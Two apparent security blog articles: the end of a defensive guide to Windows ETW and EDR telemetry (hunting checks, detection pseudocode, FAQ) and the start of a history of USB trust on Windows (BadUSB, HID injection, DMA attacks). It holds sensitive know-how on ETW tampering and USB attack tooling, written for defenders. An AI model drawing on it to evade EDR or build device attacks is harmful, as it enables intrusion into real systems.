EtwTi's KERNEL_THREATINT_TASK_MAPVIEW covers some but not all section-mapping primitives. The public fluxsec.red [@fluxsec-eti] inventory lists MAPVIEW_LOCAL and MAPVIEW_REMOTE keywords, but the underlying syscall set (NtMapViewOfSection, NtMapViewOfSectionEx, NtCreateSection, image-section vs file-section variants) is not exhaustively documented. Detection engineers who depend on full coverage of cross-process section mapping are working from an incomplete map.

What would a v2 ETW look like?

A theoretical ideal: synchronous kernel-emitted events on every security-relevant syscall, with the consumer running in VTL1 (Secure Kernel) so even a kernel-mode attacker in VTL0 cannot tamper with the consumer. The EtwSi* family is the partial realisation. The full ideal is incompatible with x64 syscall performance: synchronous notification on every syscall would dominate the cost of the syscall itself. The pragmatic answer Microsoft has been building toward is selective synchronous notification (the kernel notify routines for high-value control points) layered with broad asynchronous observation (ETW for everything else), with the most security-critical of the broad observations promoted to PPL/ELAM-gated kernel-emitted producers (EtwTi). Two decades of layering, no single architectural endpoint.For the producer side of the Secure Kernel ETW story (EtwSi*), see this article's companion piece on VBS Trustlets [@paragmali-vbs-trustlets] [@paragmali-vbs-trustlets] in the same series. The Trustlet-side architecture is a separate topic large enough to need its own walkthrough.

Open problems are interesting but they are not actionable. The next section is about what an engineer can do on Monday morning.

14. Practical guide: five things to do Monday morning

You have read 12,000 words about ETW. Here are five concrete checks an engineer can run on a Windows host this morning.

Note: logman query providers enumerates every registered provider on the host. Cross-reference the output against the section 8 catalogue and flag any security-relevant provider your EDR is not consuming. Pay specific attention to Microsoft-Antimalware-Scan-Interface, Microsoft-Windows-PowerShell, Microsoft-Windows-DotNETRuntime, and Microsoft-Windows-Sysmon if Sysmon is installed. Missing coverage of any of these on a host you are responsible for is a detection-coverage gap, not a configuration issue.

Note: Run wevtutil gp Microsoft-Windows-Threat-Intelligence to confirm the provider is registered and inspect its keyword definitions. Then check whether your EDR is actually a consumer: walk the live-debugger handle enumeration in Yarden Shafir's Trail of Bits post [@trailofbits-shafir] [@trailofbits-shafir] (the WinDbg JS scripts are linked from the post). If your EDR is supposed to be ELAM-onboarded but does not appear in the consumer enumeration for an EtwTi logger session, your installation may have lost the gate. This is the difference between a configured EDR and a functional EDR.

Note: Enumerate HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\ for unauthorised session entries. Per the Palantir CIRT taxonomy [@palantir-tampering-wayback] [@palantir-tampering-wayback], this is the persistent-tampering surface. A baseline audit should produce a known list of expected sessions (Defender, your EDR, Sysmon if installed, the standard Windows diagnostic listeners). Any subkey not on the baseline list is an investigation candidate. Sysmon Event ID 13 (registry value set) [@ms-sysmon] on this subtree is a high-signal alert in any SIEM.

Note: Run Get-CimInstance Win32_DeviceGuard | Select-Object SecurityServicesConfigured, SecurityServicesRunning, VirtualizationBasedSecurityStatus to expose whether HVCI and the Vulnerable Driver Blocklist are active. Per the Microsoft Learn primary [@ms-vdb] [@ms-vdb], the BYOVD ceiling is your kernel-tampering integrity guarantee. If VBS is Off on a managed endpoint, your detection coverage is structurally weaker than it should be on supported hardware. Treat it as a hardening item, not a nice-to-have.

Note: Write a hunting query for the pattern: "process X registers as ETW consumer for Microsoft-Windows-Threat-Intelligence and X is not on the EDR allow-list." The provider's PPL+ELAM gate makes this a high-signal alert: only a signed Antimalware-PPL service can pass the gate, so an unexpected process holding an EtwConsumer handle to the TI logger ID is either a misconfigured tool, a legitimate research session you forgot about, or an attacker chain that has acquired Antimalware-PPL trust on your fleet. The first two are quick to triage; the third is an incident.

The structure of the check in pseudocode -- mirroring the WinDbg JS approach in [@trailofbits-shafir]:

{` // Pseudocode: inventory providers and identify EtwTi consumers.

// 1. Enumerate registered providers and find Microsoft-Windows-Threat-Intelligence. const providers = enumerateRegisteredProviders(); const tiProvider = providers.find(p => p.guid === "{f4e1897c-bb5d-5668-f1d8-040f4d8dd344}"); if (!tiProvider) { warn("EtwTi provider not registered on this host"); }

// 2. Enumerate live trace sessions and find any that subscribe to TI. const sessions = enumerateLoggerSessions(); // logman query -ets equivalent const tiSessions = sessions.filter(s => s.providers.some(p => p.guid === tiProvider?.guid));

// 3. Walk EtwConsumer handles for each TI session; identify the consuming processes. const expectedConsumers = ["MsMpEng.exe", "CSFalconService.exe", "SentinelAgent.exe"]; for (const session of tiSessions) { const consumers = enumerateEtwConsumers(session.loggerId); // Shafir WinDbg JS for (const consumer of consumers) { if (!expectedConsumers.includes(consumer.processName)) { alert(`Unexpected EtwTi consumer: ${consumer.processName} (PID ${consumer.pid})`); } } }

// 4. Audit autologger persistence entries against a known baseline. const baseline = loadAutologgerBaseline(); const live = enumerateAutologgerSubkeys(); // HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger for (const entry of live) { if (!baseline.includes(entry.name)) { alert(`Unexpected autologger entry: ${entry.name}`); } } `}

With those five checks, the catalogue is no longer an abstraction. You have an inventory of what your host emits, an inventory of who consumes the most security-critical provider, an audit of the persistence surface that defines what gets emitted at all, a confirmation of the integrity layer that closes BYOVD, and a hunt for anyone who has somehow obtained the passport. Now we close with the questions every reader should expect to have.

15. Frequently asked questions

Yes, for *publication*. Sysmon's kernel driver `SysmonDrv.sys` registers `PsSetCreateProcessNotifyRoutineEx` and the related thread- and image-load callbacks; the user-mode service then publishes the resulting events via its own `Microsoft-Windows-Sysmon` ETW provider GUID `{5770385F-C22A-43E0-BF4C-06F5698FFBD9}` [@ms-sysmon]. It does not consume the public catalogue providers via ETW for its kernel-event hot path; the kernel taps come straight from the callback API. This callback-then-publish architecture is why Sysmon's events are universally consumable by SIEM forwarders and downstream tools. Because Defender consumes `Microsoft-Windows-Threat-Intelligence`, which fires from the kernel side of memory-modifying syscalls, not from the user-mode `ntdll!EtwEventWrite` trampoline. The fluxsec.red walkthrough states the asymmetry verbatim: "we cannot patch out the Threat Intelligence provider as this is emitted from within the kernel itself" [@fluxsec-eti]. The Adam Chester 2020 patch silences user-mode providers (like `Microsoft-Windows-DotNETRuntime`) for the patched process; it cannot silence kernel-emitted providers for any process. Defender's load-bearing security signal is structurally out of reach of the user-mode patch class. No. The provider's security descriptor admits only Antimalware-PPL signers loaded by an ELAM driver. A non-PPL `EnableTraceEx2` call against the EtwTi GUID returns `ERROR_ACCESS_DENIED` (the Microsoft Learn primary on EnableTraceEx2 [@ms-enabletraceex2] [@ms-enabletraceex2] documents the error code for insufficient-privilege callers; the PPL-specific gate that triggers it for EtwTi is described in [@fluxsec-eti]). The gate exists because an attacker who could trivially become an EtwTi consumer would have direct visibility into the kernel's view of every memory-modifying syscall on the host -- exactly the inventory needed to evade everything else. Schema location. Manifest-based providers ship an out-of-band XML manifest registered with `wevtutil im`; consumers decode events against the system-installed manifest using TDH. TraceLogging providers carry the schema *inline* in each event payload as type-length-value triples; consumers decode without any registered manifest. TraceLogging events are larger because the schema bytes ride in the payload; manifest events have a smaller per-event size at the cost of installation friction. Both inherit the eight-session cap [@ms-about-etw], [@ms-tracelogging-about]. Sixty-four globally per [@ms-etw-sessions], with Windows 2000 limited to 32. Per-provider, manifest-based and TraceLogging providers admit up to 8 simultaneous sessions; classic and WPP providers admit only 1 [@ms-about-etw], [@ms-etw-config]. The runtime symptom of the per-provider 8-session cap binding is `ERROR_NO_SYSTEM_RESOURCES` from `EnableTraceEx2` [@ms-enabletraceex2]; the runtime symptom of the global 64-session cap binding is the same error from `StartTrace`. No. EventPipe is a managed-runtime cross-platform analogue to ETW that shipped in .NET Core 3.0 (September 2019) and remains available in every later release including .NET 5+. It runs on Linux and macOS as well as Windows. On Windows, the kernel-mode providers and the EtwTi security substrate have no EventPipe equivalent; EventPipe is a complement to ETW for managed workloads, not a replacement. The Windows EDR substrate remains ETW; managed-runtime tracing has acquired an additional cross-platform path that does not displace it.

ETW is now twenty-six years old. It started as a performance facility for Windows 2000 driver authors who could not afford DbgPrint on production servers, and it became the substrate of every major Windows endpoint security product through a decade of unintended consequences. The Vista team that raised the per-provider session cap from 1 to 8 was thinking about ergonomics. The Windows 8.1 team that introduced Antimalware-PPL was thinking about Defender's hardening, not about future third-party EDRs. The team that shipped EtwTi in the Windows 10 RS-era understood the security stakes precisely. By 2026 those three decisions, taken in three different Microsoft contexts a decade apart, are the architecture of detection on the Windows endpoint -- and the reason the operator in the section 1 hook scene loses the round even when the patch works exactly as it should.

Plug and Trust: How Windows Decides What to Do When You Plug In a USB Device

noreply@paragmali.com (Parag Mali) — Mon, 11 May 2026 00:00:00 GMT

Plugging a USB device into Windows is the single most-trusted action a user routinely performs on an operating system that verifies every byte of code it loads. In a few hundred milliseconds (typically 200-300 ms when the driver is already in the local store; longer on a first-time Windows Update fetch), Windows executes ten or eleven kernel-mode operations (eleven for composite devices) and trusts about 256 bytes of self-described descriptors to decide which driver runs. This article walks that pipeline end-to-end on Windows 11 25H2: the descriptor parser surface, the Plug-and-Play rank algorithm, Kernel-Mode Code Signing and Kernel DMA Protection, BadUSB and Thunderclap, and the five structural limits Windows cannot close without breaking USB compatibility.

1. The Thirty-Second Trust Decision

A user plugs a USB-C thumb drive into a Windows 11 25H2 corporate laptop at 10:42:17 in the morning. Roughly a quarter-second later, the operating system has executed ten or eleven kernel-mode operations (eleven for composite devices) to decide what kind of device it is and which driver to load.The "quarter-second" is editorial framing, not a spec-mandated deadline. The only piece USB-IF actually fixes is the 100 ms attach-debounce window T_ATTDB defined in the USB 2.0 specification §7.1.7.3 (Connect and Disconnect Signaling) [@usb-2-0-spec]; the rest of the budget is implementation-dependent. A typical USB 2.0 thumb drive on a 2024-era xHCI controller, with the function driver already in the local store, lands in the 200-300 ms range. A first-time Windows Update fetch, a slow descriptor read, or a multi-configuration device can stretch it to a second or more. None of those eleven operations consulted the user. None of them verified a cryptographic signature from the peripheral. The entire decision rests on roughly 256 bytes of self-described metadata that the device handed the host on insertion.

Here is the sequence, in the order Windows executes it:

Port-status-change interrupt fires on the xHCI host controller.
The host controller's driver issues a port reset.
Downstream-port speed detection runs: Low, Full, High, Super, or Super+ Speed.
The hub addresses the device at the default address (zero) and asks for the first eight bytes of the USB_DEVICE_DESCRIPTOR.
SET_ADDRESS assigns a non-default bus address.
The hub fetches the full eighteen-byte device descriptor.
The hub fetches the configuration descriptor, including all interface and endpoint sub-descriptors.
If the descriptor indicates a composite device, the generic parent splits it into per-interface child devices.
The Plug-and-Play manager synthesizes hardware IDs and compatible IDs from the descriptor fields.
The driver-store INF database is searched with a rank-scored matching algorithm; the chosen driver is verified against the Kernel-Mode Code Signing policy.
The class driver attaches to the new device node and begins serving I/O.

Microsoft's own architecture documentation confirms the pipeline: the xHCI host controller driver, the host-controller extension, and the hub driver -- usbhub3.sys, the binary that enumerates devices and creates physical device objects -- are all KMDF-based [@ms-usb-3-0-stack]. The rank-scored INF match comes straight from the Plug-and-Play manager's documented behavior [@ms-pnp-rank]. The signature check is governed by the same Kernel-Mode Code Signing policy that has gated every kernel driver since 64-bit Windows Vista shipped in 2007 [@ms-kmcs].

Key idea: Ten or eleven kernel-mode operations (eleven for composite devices). Zero human decisions. Roughly 256 bytes of self-described metadata. That is the size of the trust gap between physical insertion and the moment a class driver begins reading and writing data inside the Windows kernel.

The load-bearing primitive in that pipeline is the USB descriptor: a small block of bytes the peripheral emits when asked, naming what kind of device it claims to be, who claims to have made it, and what features it claims to support. Windows must trust those bytes to choose a driver. There is no out-of-band channel to verify them. There is no signature on the descriptor itself.

This article is a walk through what Windows does verify, what it cannot verify, and where the gap lives. The trust posture is older than USB itself, and the failure modes are older than Windows 2000. We will start with the inheritance.

2. The Pre-USB Removable-Media Trust Model

A user in Lahore inserts a 5.25-inch floppy into an IBM PC clone. Whatever 512 bytes sit at sector zero of that diskette will execute as part of the operating-system boot path before any code that came with the machine runs. The trust model Windows still uses for USB peripherals in 2026 was carved into silicon that year.

The IBM PC's boot ROM, by design, copied sector zero of whatever bootable medium was present into memory and jumped to it. That contract -- inserted media is trusted media -- shipped in 1981 and was demonstrated as catastrophic within five years. The Brain virus appeared in 1986 [@wiki-brain]; Stoned in 1987 [@wiki-stoned]; Michelangelo was first discovered on 3 February 1991 in Australia and produced its global panic on March 6, 1992 [@wiki-michelangelo]. Each one used the boot-sector primitive that Wikipedia's standard reference on boot sectors documents [@wiki-bootsector].The Brain virus shipped with a literal copyright notice in the boot sector, naming the Alvi brothers and giving an address in Lahore: a piece of self-documenting malware authored when virus authors did not yet expect to be prosecuted. The address-and-phone-number pattern is a recurring forensic curiosity from the 1986-1990 era.

A USB descriptor is a small, structured block of bytes that a USB peripheral returns when the host asks for it. There are five standard descriptor types in the USB 1.0 specification (device, configuration, string, interface, endpoint) and several class-specific descriptors (HID report descriptors, audio control units, mass-storage CSW formats) layered on top. The device descriptor names a vendor ID, a product ID, a device class, and the maximum packet size for the default control pipe. The string descriptors carry the human-readable manufacturer, product, and serial-number text that Windows displays in Device Manager and that Defender for Endpoint per-serial allow-lists key on. The host has no out-of-band channel to verify any of these fields; the peripheral's self-declaration *is* its identity for the purpose of driver selection.

Microsoft inherited the contract from DOS and refined it. AutoRun, which the Wikipedia reference documents verbatim, "was introduced in Windows 95 to ease application installation for non-technical users and reduce the cost of software support calls ... a feature of Windows Explorer (actually of the shell32 dll) ... enables media and devices to launch programs by use of command listed in a file called autorun.inf, stored in the root directory of the medium" [@wiki-autorun]. Windows 95 RTMed on August 24, 1995. The original design intent was CD-ROM application installation -- read-only optical media, written once at the factory, shipped in a sealed jewel case. The trust assumption matched the physical reality.

Four months after Windows 95 shipped, the USB Implementers Forum was formed. Wikipedia preserves the date and the founder list verbatim: "The USB-IF was initiated on December 5, 1995, by the group of companies that was developing USB ... Compaq, Digital Equipment Corporation, IBM, Intel, Microsoft, NEC and Nortel" [@wiki-usbif]. Microsoft was a co-author of the contract that would govern peripheral trust on every Windows machine for the next thirty years.

A Vendor ID is a 16-bit number that the USB Implementers Forum sells to a device manufacturer for a one-time \$6,000 fee [@wiki-usbif]. A Product ID is a 16-bit number the manufacturer assigns to a specific product within their VID space. The pair forms the most-specific hardware ID Windows uses to select a USB driver, in the form `USB\VID_xxxx&PID_xxxx`. The USB-IF Vendor-ID fee is the only economic gate between an arbitrary firmware author and a "trusted" identity in Windows's driver-store search; it is not a cryptographic gate of any kind.

The first complete USB specification followed quickly. Wikipedia's USB article puts it verbatim: "Designed January 1996 ... Produced Since May 1996 ... Designer: Compaq, DEC, IBM, Intel, Microsoft, NEC, Nortel" [@wiki-usb]. USB 1.0 defined the five standard descriptors, the bus enumeration handshake, and -- the load-bearing architectural choice -- the device-class architecture in which the peripheral declares its own class, subclass, and protocol. A USB keyboard reports bInterfaceClass=0x03 (HID) because it says it is a keyboard. The host has no other source of that fact.

Three years later, the protocol's storage cousin arrived. The USB Mass Storage Class Bulk-Only Transport, Revision 1.0, was published in September 1999 [@usb-massbulk-pdf]. That specification is the protocol on which Windows 2000's usbstor.sys and every modern thumb-drive driver are built. It defines a stripped-down SCSI command set tunneled over USB bulk endpoints; it does not define any peripheral-authentication mechanism.

The inheritance is structural. AutoRun shipped in 1995, designed for write-once optical media in a sealed jewel case. Windows 2000 extended AutoRun to every mounted volume -- including the new USB thumb-drive class. A 1995 trust model for trusted physical media now protected read-write USB sticks anyone could carry between machines. Forty years later, that line in the lineage has not been redrawn.

timeline title Pre-USB removable-media trust, 1981 to 2000 1981 : IBM PC ships : Boot ROM jumps to sector 0 of inserted media 1986 : Brain virus : Lahore : First in-the-wild boot-sector virus 1987 : Stoned virus : Boot-sector class established 1991 : Michelangelo discovered : 3 February 1991, Australia 1992 : Michelangelo media panic : Trigger date 6 March 1992 1995 : Windows 95 RTM : AutoRun introduced for CD-ROM installers 1995 : USB-IF founded December 5 : Seven-company consortium 1996 : USB 1.0 designed January : Device-class architecture: peripheral declares its own class 1999 : USB Mass Storage 1.0 : Bulk-Only Transport specification 2000 : Windows 2000 usbstor.sys : AutoRun extends to USB volumes

Timeline sources, in row order: [@wiki-bootsector] for the IBM PC boot-sector contract; [@wiki-brain], [@wiki-stoned], and [@wiki-michelangelo] for the named-virus lineage and the 1992-not-1991 Michelangelo panic date; [@wiki-autorun] for the Windows 95 / AutoRun introduction; [@wiki-usbif] for the USB-IF founding date and seven-company consortium; [@wiki-usb] for the USB 1.0 January 1996 design date and the device-class architecture; [@usb-massbulk-pdf] for the USB Mass Storage Class Bulk-Only Transport 1.0 specification.

If the trust model is forty years old, the failure modes must be older than USB. They are. The first fifteen years of USB on Windows were a transport in search of a security model, and the bill came due in two famous worms.

3. The Pre-Hardening Era, 1996 to 2010

For its first fifteen years on Windows, USB was a transport in search of a security model. Drivers were unsigned on 32-bit. AutoRun was on. Descriptors were trusted. The bill was paid in two worms.

The Generation-1 stack was a USB 1.1 design retrofitted onto Windows 95 OSR2.1 in 1997 and refined for Windows 2000. The host-controller drivers (Usbuhci.sys, Usbohci.sys, and later Usbehci.sys for USB 2.0 high speed) sat below a single port driver, Usbport.sys; the hub driver was usbhub.sys. Microsoft's USB-3.0 architecture page documents the older 2.0 stack as the predecessor of the modern KMDF chain [@ms-usb-3-0-stack]. On 32-bit Windows, none of these binaries needed a Microsoft-trusted signature to load.

Windows 2000 added usbstor.sys, the function driver implementing the USB Mass Storage Class Bulk-Only protocol [@usb-massbulk-pdf]. Suddenly a thumb drive was a first-class read-write filesystem the user could carry between machines, and AutoRun -- a 1995 contract for CD-ROM application installers -- applied to it.The original autorun.inf was a sensible primitive. Insert a sealed jewel case, run the vendor's setup wizard, get a new application. Extending the contract to user-writable USB sticks broke the cardinal assumption: that the media's content was set by a trustworthy party at the factory and could not be modified in the field.

KMCS is the Windows policy that requires every kernel-mode binary -- every `.sys` file Windows loads into ring zero -- to carry a digital signature chaining to a Microsoft-trusted root certificate. KMCS has been mandatory on 64-bit Windows since Vista shipped in 2007. Microsoft Learn documents the signing-by-version matrix, the SHA-256 algorithm requirement, and the post-2016 narrowing of the cross-signed-CA exception. KMCS prevents an attacker from loading an arbitrary `.sys` file into the kernel. It does not, by itself, prevent an attacker from feeding malicious *data* to an already-signed `.sys` file.

The Conficker worm, first detected in November 2008, industrialized the AutoRun-on-USB era. Wikipedia summarizes its origin verbatim: "first detected in November 2008 ... uses flaws in Windows OS software (MS08-067 / CVE-2008-4250) and dictionary attacks on administrator passwords to propagate ... The first variant of Conficker, discovered in early November 2008, propagated through the Internet by exploiting a vulnerability in a network service (MS08-067)" [@wiki-conficker]. Conficker rode two completely separate vectors: a Server Service vulnerability (a path-canonicalization overflow in srvsvc.dll reachable over SMB on TCP 445 and via NetBIOS over TCP/IP on TCP 139) over the network [@nvd-cve-2008-4250], and autorun.inf-driven AutoPlay execution on inserted USB drives. The two propagation paths are independent and worth distinguishing.

Note: MS08-067 / CVE-2008-4250 is the Server Service RPC-over-SMB vulnerability (reachable on TCP 445 and via NetBIOS over TCP/IP on TCP 139) that gave Conficker its network propagation. NIST's NVD entry characterises the surface verbatim as "a crafted RPC request that triggers the overflow during path canonicalization, as exploited in the wild by Gimmiv.A in October 2008, aka 'Server Service Vulnerability'" [@nvd-cve-2008-4250]. The USB-side propagation came from autorun.inf on inserted thumb drives, not from MS08-067. The two vectors share a worm but not a vulnerability. Press accounts that conflate them tend to overstate what closing MS08-067 actually did to USB-borne malware in 2008.

Stuxnet followed in 2010. Wikipedia's article puts the timing and the vector verbatim: "Stuxnet is a malicious computer worm first uncovered on 17 June 2010 ... It is typically introduced to the target environment via an infected USB flash drive, thus crossing any air gap" [@wiki-stuxnet]. The technical primitive that let Stuxnet cross air gaps onto Iranian centrifuge-control PCs was CVE-2010-2568, a flaw in the Windows Shell's processing of .LNK shortcut icons. NIST's National Vulnerability Database entry preserves the verbatim characterization: "Windows Shell in Microsoft Windows XP SP3, Server 2003 SP2, Vista SP1 and SP2, Server 2008 SP2 and R2, and Windows 7 allows local users or remote attackers to execute arbitrary code via a crafted (1) .LNK or (2) .PIF shortcut file, which is not properly handled during icon display in Windows Explorer, as demonstrated in the wild in July 2010, and originally reported for malware that leverages CVE-2010-2772 in Siemens WinCC SCADA systems" [@nvd-cve-2010-2568]. Microsoft Security Bulletin MS10-046 shipped the patch [@ms10-046].

Windows Shell in Microsoft Windows XP SP3, Server 2003 SP2, Vista SP1 and SP2, Server 2008 SP2 and R2, and Windows 7 allows local users or remote attackers to execute arbitrary code via a crafted (1) .LNK or (2) .PIF shortcut file, which is not properly handled during icon display in Windows Explorer, as demonstrated in the wild in July 2010. -- NIST, National Vulnerability Database, CVE-2010-2568 [@nvd-cve-2010-2568]

Patch Tuesday, February 2011 closed the AutoRun pipeline outside Windows 7. Brian Krebs covered the rollout verbatim at the time: "Microsoft also issued an update that changes the default behavior in Windows when users insert a removable storage device, such as a USB or thumb drive. This update effectively disables 'autorun,' a feature of Windows that has been a major vector for malware over the years. Microsoft released this same update in February 2009, but it offered it as an optional patch. The only thing different about the update this time is that it is being offered automatically to users who patch through Windows Update or Automatic Update" [@krebs-feb2011]. The update originally shipped as an optional Windows-7-era fix; Microsoft made it automatic for XP, Vista, Server 2003, and Server 2008 in February 2011.

Six months later, the descriptor-parser surface itself was named for the first time. Andy Davis of NCC Group gave "USB -- Undermining Security Barriers" at Black Hat USA 2011. The verified NCC Group publication archive carries the talk and a one-line abstract [@ncc-davis-2011]. Davis fuzzed USB descriptors against the Windows kernel parser and demonstrated that the parser itself -- not the application layer, not AutoRun -- was kernel-mode adversarial-input attack surface. The talk did not name a single bug class; it named the class of bugs: anything that parses adversarial bytes in ring zero in a memory-unsafe language.

Why did none of these fixes survive structurally? Each was a single-bug closure. Disabling AutoRun did nothing about HID injection. Patching the LNK parser did nothing about the descriptor-parser surface. Signing kernel binaries did not change what those binaries trusted at runtime. Each fix shrank one bug class by one. The premise -- that a USB peripheral's self-declaration is its identity -- was untouched.

The post-2010 hardening of USB on Windows would change the surfaces around the descriptor parser. None of it would change the descriptor parser's contract.

4. Generation by Generation: Ten Acts of Hardening

The post-2010 hardening of USB on Windows is a ten-act story: signing, lockdown, watershed, silicon, policy. Each act addressed one premise, and exactly one premise, of the trust failure that came before it. None of them changed the foundational contract.

Generation 2 -- Vista x64 Kernel-Mode Code Signing (2007). Every USB function and class driver had to chain to a Microsoft-trusted root and use SHA-2 once 64-bit Vista landed. Microsoft Learn carries the signing-by-version matrix and the cross-signed-CA carve-out verbatim, including the post-2015 narrowing in which "Cross-signed drivers are still permitted if ... The PC was upgraded from an earlier release of Windows to Windows 10, version 1607 ... Drivers was signed with an end-entity certificate issued prior to July 29th 2015 that chains to a supported cross-signed CA" [@ms-kmcs]. Companion documentation describes the broader driver-signing pipeline [@ms-drvsigning]. For the full reinvention of code-identity verification on Windows, the sibling article on Windows app identity is the canonical reference [@paragmali-appid].

Generation 3 -- AutoRun and LNK lockdown (2009-2011). Already covered in Section 3. KB971029 and MS10-046, taken together, closed the autorun.inf-driven AutoPlay vector and the LNK-icon parsing flaw used by Stuxnet [@krebs-feb2011] [@nvd-cve-2010-2568].

Generation 4 -- The descriptor-parser surface and the USB 3.0 stack (2011-2012). Andy Davis named the surface at Black Hat 2011 [@ncc-davis-2011]. Windows 8 in 2012 shipped a new USB 3.0 stack written from scratch on Microsoft's Kernel-Mode Driver Framework. The architectural reference confirms the rebuild verbatim: "Microsoft created the USB 3.0 drivers by using Kernel Mode Driver Framework (KMDF) interfaces ... Usbhub3.sys ... Manages USB hubs and their ports ... Enumerates devices and other hubs ... Creates physical device objects (PDOs)" [@ms-usb-3-0-stack]. The new stack changed the codebase the descriptor parser ran in. It did not change the contract the descriptor parser had to honor.

The Human Interface Device class is a USB device-class specification originally designed for keyboards, mice, joysticks, and similar input devices. A USB device declares itself HID by setting `bInterfaceClass=0x03` in its interface descriptor. Once Windows accepts that declaration, the device is allowed to inject keyboard and pointer events into the active session as if a human were operating a physical keyboard. The HID class has no provision for authenticating that the device is, in fact, a keyboard rather than a reprogrammed thumb drive emulating one; the class definition is itself the attack surface.

Generation 5 -- BadUSB watershed (Black Hat USA 2014). Karsten Nohl, Sascha Krißler, and Jakob Lell of SR Labs presented BadUSB -- On Accessories That Turn Evil [@nohl-wiki]. The SR Labs slide deck's title page is preserved verbatim, with all three authors named, on a mirrored PDF [@srlabs-badusb-pdf]; Wikipedia's BadUSB article also preserves the three-author attribution and the underlying primitive: "USB flash drives can contain a programmable Intel 8051 microcontroller" [@wiki-badusb].Wired's contemporaneous press coverage credited only Nohl and Lell; Krißler's name was dropped in the popular write-up. The SR Labs slide deck and the Wikipedia article both preserve the full three-author attribution. Press attributions of conference talks routinely shed authors; the slide-deck title page is the durable source. Two months after Black Hat, Adam Caudill and Brandon Wilson released the Psychson toolchain at DerbyCon 2014, demonstrating end-to-end reflash of the Phison PS2251-03 controller. The repository README confirms the lineage verbatim: "this is 8051 custom firmware written in C ... firmware patches have only been tested against PS2251-03 firmware version 1.03.53 ... DriveCom ... EmbedPayload ... Injector ... Huge thanks to the Hak5 team for their work on the excellent USB Rubber Ducky" [@psychson-repo]. Wired's October 2014 follow-up carries Caudill's verbatim release rationale from the DerbyCon stage: "The belief we have is that all of this should be public. It shouldn't be held back. So we're releasing everything we've got" [@wired-2014-10]. The same article quotes Nohl's verbatim architectural verdict on the underlying protocol: "to prevent USB devices' firmware from being rewritten, their security architecture would need to be fundamentally redesigned ... it could take 10 years or more to iron out the USB standard's bugs and pull existing vulnerable devices out of circulation" [@wired-2014-10].

It could take 10 years or more to iron out the USB standard's bugs and pull existing vulnerable devices out of circulation. -- Karsten Nohl, SR Labs, quoted in Wired, October 2014 [@wired-2014-10]

Generation 6 -- HID-as-weapon era (2010-present). The Hak5 USB Rubber Ducky -- introduced in 2010 by Hak5 founder Darren Kitchen, who pioneered the keystroke-injection technique [@hak5-ducky-docs] -- commercialized the HID-injection primitive four years before BadUSB was disclosed. The Mark II hardware is still sold today [@hak5-shop-ducky], and DuckyScript v1 (2011) and v3 (2022) are documented end-to-end on the Hak5 documentation portal [@hak5-ducky-docs].The commercial HID-injection device predates the academic disclosure by four years. By the time BadUSB hit Black Hat in August 2014, Hak5 had already been selling a packaged keystroke-injection thumb drive at consumer prices for four years. "BadUSB" academicized what penetration testers were already shipping in mailers. The O.MG Cable, released by Mischief Gadgets, embedded the implant inside a USB-A-to-Lightning charging cable form factor and put a WiFi beacon inside it. The product page states the design intent verbatim: "O.MG Cables are hand made USB cables with an advance WiFi implant inside. Designed to allow Red Teams to emulate sophisticated attack scenarios previously only capable with $20,000 cables" [@omg-cable]. The FBI's March 2020 FLASH alert -- reported by BleepingComputer at the time -- confirmed organized cybercriminal actors mailing the same primitive: "Hackers from the FIN7 cybercriminal group have been targeting various businesses with malicious USB devices acting as a keyboard when plugged into a computer ... These USB drives are configured to emulate keystrokes that launch a PowerShell command to retrieve malware from server controlled by the attacker" [@bleeping-fin7]. The FBI repeated the warning with a follow-on FLASH alert in January 2022 that extended the targeting to transportation, insurance, and defense companies [@wiki-badusb].

Generation 7 -- Thunderbolt DMA and Thunderclap (NDSS 2019), Thunderspy (2020). Theodore Markettos, Colin Rothwell, Brett Gutstein, Allison Pearce, Peter Neumann, Simon Moore, and Robert Watson of Cambridge, Rice, and SRI demonstrated peripheral DMA attacks against IOMMU-on platforms via shared-IOMMU-context attacks. Their NDSS 2019 paper concludes verbatim: "Windows only uses the IOMMU in limited cases and remains vulnerable" [@ndss-thunderclap]. One year later, Björn Ruytenberg of Eindhoven University released Thunderspy, a family of seven vulnerabilities extending the attack surface to firmware-reflash of the Thunderbolt controller itself: "All the attacker needs is 5 minutes alone with the computer, a screwdriver, and some easily portable hardware" [@thunderspy]. Wikipedia preserves the May 10, 2020 disclosure date [@thunderspy-wiki].

Generation 8 -- Kernel DMA Protection (Windows 10 1803, April 2018). This is the first Windows USB-adjacent defense that targeted trust below the descriptor parser rather than the parser itself. Microsoft Learn names the primitive verbatim: "Windows uses the system Input/Output Memory Management Unit (IOMMU) to block external peripherals from starting and performing DMA, unless the drivers for these peripherals support memory isolation (such as DMA-remapping) ... By default, peripherals with DMA Remapping incompatible drivers are blocked from starting and performing DMA until an authorized user signs into the system or unlocks the screen" [@ms-kdp]. Per-driver opt-in is documented separately [@ms-dmaremap]. The same Microsoft Learn page is explicit about what KDP does not defend: "Kernel DMA Protection feature doesn't protect against DMA attacks via 1394/FireWire, PCMCIA, CardBus, or ExpressCard". A USB 2.0 thumb drive performs no DMA at all; KDP is silent on it.

Kernel DMA Protection is the Windows defense that uses the platform's IOMMU (Intel VT-d, AMD-Vi, or an ARM equivalent) to confine externally connected PCIe-class peripherals to device-private memory windows. With KDP armed, a Thunderbolt or USB4 peripheral cannot read arbitrary kernel memory by issuing DMA requests, even if its driver is malicious or buggy. KDP is opt-in at three levels: silicon (the platform must have an IOMMU), firmware (the UEFI must publish DMAR / IVRS tables), and driver (the driver must declare `DmaRemappingCompatible=1` in its INF). KDP does not protect against attacks delivered through descriptor parsing, HID injection, or mass-storage exfiltration.

Generation 9 -- USB Type-C UCM stack (Windows 10 1607, 2016). The User-mode Connector Manager class extension family -- UcmCx.sys, UcmUcsiCx.sys, UcmTcpciCx.sys -- brought Power Delivery, Alternate Mode (DisplayPort, Thunderbolt, USB4), and bidirectional power-role negotiation into the Windows driver model. Microsoft Learn names the architecture verbatim: "UCM is designed by using the WDF class extension-client driver model" [@ms-typec].

